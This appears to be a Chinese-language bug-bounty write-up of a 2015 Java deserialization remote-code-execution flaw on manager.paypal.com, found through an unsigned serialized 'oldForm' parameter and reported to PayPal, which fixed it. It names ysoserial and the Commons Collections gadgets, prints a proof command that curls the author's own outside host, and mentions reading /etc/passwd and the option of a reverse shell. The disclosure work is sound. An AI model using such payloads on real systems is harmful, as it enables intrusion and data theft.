2015年12月,筆者在PayPal的某個分站中發(fā)現(xiàn)了一個能夠遠程執(zhí)行任意shell命令的java反序列化漏洞,并且能夠影響到PayPal的產品數(shù)據(jù)庫。我馬上將該漏洞提交給了PayPal,并且很快得到了修復。
漏洞細節(jié)
在測試manager.paypal.com這個站點時,我的注意力被post提交中的不尋常的參數(shù)“oldForm”所吸引,這個參數(shù)的內容就像是base64解碼后的復雜對象。
在經過一些研究之后,我意識到這就是能被應用處理的沒有經過簽名的java序列化對象。這意味著你能將存在的class序列化后提交給服務器,然后“readObject”(或者“readResolve”)方法會被調用來解析該序列化的對象。為了利用這個漏洞,你需要在應用的 “classpath” 中找到一個能被序列化的合適的class,并且能被“readObject”所解析。你可以從FoxGlove Security的文章中了解更多相關的技術細節(jié)。一年前,Chris Frohoff和Gabriel Lawrence在Apache Common Collection這個庫中發(fā)現(xiàn)了能夠導致遠程命令執(zhí)行的合適的classes,然后也發(fā)布了“ysoserial”這個payload生成器。
漏洞證明
我馬上下載了上面說到的這個工具,然后生成了一個簡單的payload,這個payload會執(zhí)行“curl x.s.artsploit.com/paypal”這個shell命令,然后會發(fā)送DNS和http請求到我自己的服務器。
然后我在post請求的“oldFormData”參數(shù)中填入base64編碼后的payload,發(fā)送給了服務器。在那之后,令我印象深刻的是在我的NGINX access log中發(fā)現(xiàn)了來自PayPal 的請求。
我意識到我能在manager.paypal.com這個服務器上執(zhí)行任意的命令,甚至我能反彈一個shell權限到我自己的服務器,然后上傳和執(zhí)行一個后門程序。結果會是通過manager.paypal.com這個網站,我能獲取到paypal的production數(shù)據(jù)庫。
但是我沒有像上面說的那么去做,我只是讀取了“/etc/passwd”的內容作為漏洞的驗證。
我還搗鼓了一個如果復現(xiàn)該漏洞的視頻提交給了PayPal安全團隊。然后,我還發(fā)現(xiàn)了manager.paypal.com的其他很多地方也使用了序列化對象,并且能夠被利用。